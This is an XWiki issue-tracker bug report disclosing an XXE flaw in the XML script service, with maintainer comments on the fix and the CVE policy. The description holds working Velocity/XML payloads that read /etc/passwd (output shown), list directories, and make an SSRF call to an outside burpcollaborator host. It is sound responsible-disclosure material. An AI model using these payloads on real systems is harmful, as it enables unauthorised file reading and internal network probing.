



XML External Entity Injection (XXE) through XML script service

Details

Type:	Bug	Resolution:	Fixed
Priority:	Critical	Fix Version/s:	13.8-rc-1, (2)
Affects Version/s:	2.7 RC1		
Component/s:	XML		
Labels:	attack_dataleak attacker_script security		
Tests:	Unit		
Difficulty:	Unknown		
Documentation:	https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-m2r5-4w96-qxg5		
Documentation in Release Notes:	N/A		
Similar issues:			

Description

Any user with velocity script permission can read arbitrary files, directory listing and Server-side request forgery.

- **Read arbitrary files payload:**

```
{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root>
<foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
```

\$titleToDisplay

Last modified by [test test](#) on 2021/08/26 08:49

[Edit](#)[+ Create](#)

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>
]>
<root><foo>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</foo></root>
```



Tags: [+]

Created by [test test](#) on 2021/08/26 15:19

■ Directory listing payload:

```
{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:/// ' >]><root><foo>&xxe;</foo>
</root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}
```

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><foo>.dockerenv
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
</foo></root>
```



Tags: [+]

Created by test test on 2021/08/26 15:19

- **SSRF payload:**

```
{{velocity}}
$services.get('xml').parse("<!DOCTYPE test [ <!ENTITY xxe SYSTEM 'http://ao2r99e546em76d8rliq7hcl9rzfo.burpcollaborator.net/a'> ]>
<productId>&xxe;</productId >")
{{/velocity}}
```


▼ [Thomas Mortagne](#) added a comment - 30/Aug/21 10:40

There is no bugbounty program in XWiki. We publish a CVE for every security issue about 3 months after it's released following our policy, for which you can find more details on <https://dev.xwiki.org/xwiki/bin/view/Community/SecurityPolicy/>.

▼ [Petrus Viet \(a member of VNG Security\)](#) added a comment - 30/Aug/21 10:14

Hello team.
With my problem find out, do i get bugbounty or CVE?
Thanks

▼ [Thomas Mortagne](#) added a comment - 26/Aug/21 20:27

Thanks.

▼ [Petrus Viet \(a member of VNG Security\)](#) added a comment - 26/Aug/21 16:01

hi,
i checked on version 12.10.9

▼ [Thomas Mortagne](#) added a comment - 26/Aug/21 12:33



The vulnerable code is located in [XMLScriptService](#). We need to disable external entities, in the XML parser used in this script service.

▼ [Thomas Mortagne](#) added a comment - 26/Aug/21 12:24



[PetrusViet](#) could you give more information about the exact version of XWiki you reproduced this with

▼ People

Assignee:

 [Thomas Mortagne](#) 

Reporter:

 [Petrus Viet \(a member of VNG Security\)](#) 

Votes:

0 [Vote for this issue](#)

Watchers:

2 [Start watching this issue](#)

▼ Dates

Created:

26/Aug/21 10:03

Updated:

07/Jul/22 11:31

Resolved:

21/Sep/21 11:08

Date of First Response:

26/Aug/21 12:24 PM